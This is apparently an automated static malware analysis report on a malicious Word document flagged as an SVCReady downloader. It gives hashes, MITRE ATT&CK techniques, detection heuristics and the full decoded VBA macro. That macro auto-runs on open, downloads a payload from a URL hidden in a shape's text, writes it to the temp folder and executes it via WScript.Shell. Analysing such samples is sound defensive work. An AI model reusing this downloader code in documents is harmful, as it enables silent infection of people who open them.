Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 c187247c655ab22d…

MALICIOUS

Office (OOXML)

111.5 KB Created: 2020-08-06 11:02:00 UTC Authoring application: Microsoft Office Word 16.0000 First seen: 2020-09-07
MD5: d8ef6a528eedfc06c464d80b9b110b9d SHA-1: 10cc919def37d854d0a294d8d473fab422ab6980 SHA-256: c187247c655ab22dc5e67fe174af4fca1e14cff224dc5b60beff948a8a297dd2
278 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1105 Ingress Tool Transfer

The sample contains VBA macros with an AutoOpen subroutine that leverages WScript.Shell and CreateObject to download a payload from an external source. The script constructs a temporary file path 'temp\main.theme' and uses MSXML2.XMLHTTP60 to fetch content, which is then executed. This indicates a downloader functionality, likely leading to further malicious activity.

Heuristics 9

  • ClamAV: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Downloader.SVCReady-8f5af0a5f0da7070-9951542-0
  • VBA project inside OOXML medium 5 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Function d49d1a7a(c0a9a6f7)
Set b7dc5e83 = CreateObject("wscript.shell")
Call b7dc5e83.exec(c0a9a6f7)
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Function d49d1a7a(c0a9a6f7)
Set b7dc5e83 = CreateObject("wscript.shell")
Call b7dc5e83.exec(c0a9a6f7)
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "c17366cd"
Sub AutoOpen()
Dim f910248a As New b3fcb089
  • Environ() call (env variable access) low OLE_VBA_ENVIRON
    Environ() call (env variable access)
    Matched line in script
    Function d8da2402()
d8da2402 = Environ("temp") & "\main.theme"
End Function
  • External relationship high OOXML_EXTERNAL_REL
    External target in word/_rels/document.xml.rels: file:///C:\Builders\Framework\rels\builds\pack2\us.jpg
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.microsoft.com/office/word/2010/wordprocessingCanvas OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2014/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/9/8/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2015/10/21/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/9/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/10/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/11/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/12/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/13/chartexOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/5/14/chartexOOXML external relationship
    • http://schemas.openxmlformats.org/markup-compatibility/2006OOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2016/inkOOXML external relationship
    • http://schemas.microsoft.com/office/drawing/2017/model3dOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/relationshipsOOXML external relationship
    • http://schemas.openxmlformats.org/officeDocument/2006/mathOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/drawingml/2006/wordprocessingDrawingOOXML external relationship
    • http://schemas.openxmlformats.org/wordprocessingml/2006/mainOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2012/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordml/cexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2016/wordml/cidOOXML external relationship
    • http://schemas.microsoft.com/office/word/2018/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2015/wordml/symexOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingGroupOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingInkOOXML external relationship
    • http://schemas.microsoft.com/office/word/2006/wordmlOOXML external relationship
    • http://schemas.microsoft.com/office/word/2010/wordprocessingShapeOOXML external relationship

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 1779 bytes
SHA-256: 7b41306823815d5976fc6131313a278ac59e3d652407ec8b95a43d1141f60d8a
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "c17366cd"
Sub AutoOpen()
Dim f910248a As New b3fcb089
Dim f49f8182 As String
f49f8182 = df2b918a(ActiveDocument.Shapes(1).AlternativeText)
d7e00e20 = f910248a.f4796e45(f49f8182)
ca17c24a d8da2402, d7e00e20
e4005a6b = f910248a.d49d1a7a(bbddb659 & " " & d8da2402)
End Sub

Attribute VB_Name = "f186a369"
Sub ca17c24a(b616ef4a, e1e6a2eb)
Dim b40bb4ae
b40bb4ae = FreeFile
Open b616ef4a For Output As #b40bb4ae
Print #b40bb4ae, f10695a0(e1e6a2eb)
Close #b40bb4ae
End Sub
Function d8da2402()
d8da2402 = Environ("temp") & "\main.theme"
End Function
Function df2b918a(a562b19d)
'df2b918a = StrReverse(a562b19d)
df2b918a = a562b19d
End Function
Sub ff01e8a5()
End Sub
Function f10695a0(e1e6a2eb)
f10695a0 = StrConv(e1e6a2eb, 64)
End Function
Function bbddb659()
bbddb659 = df2b918a(ActiveDocument.Shapes(1).Title)
End Function

Attribute VB_Name = "b3fcb089"
Attribute VB_Base = "0{FCFB3D2A-A0FA-1068-A738-08002B3371B5}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = False
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = False
Function f4796e45(e788e34c)
Dim f97d639d As Object
Set f97d639d = New MSXML2.XMLHTTP60
aaa = f97d639d.Open("GET", e788e34c, False)
f97d639d.Send
f4796e45 = f97d639d.responsebody
End Function
Function d49d1a7a(c0a9a6f7)
Set b7dc5e83 = CreateObject("wscript.shell")
Call b7dc5e83.exec(c0a9a6f7)
End Function
vbaProject_00.bin vba-project OOXML VBA project: word/vbaProject.bin 18944 bytes
SHA-256: 765376be44f7d434d2a58946fe57c4ff1dd96d3060a29eb8390caac270fa2bcf

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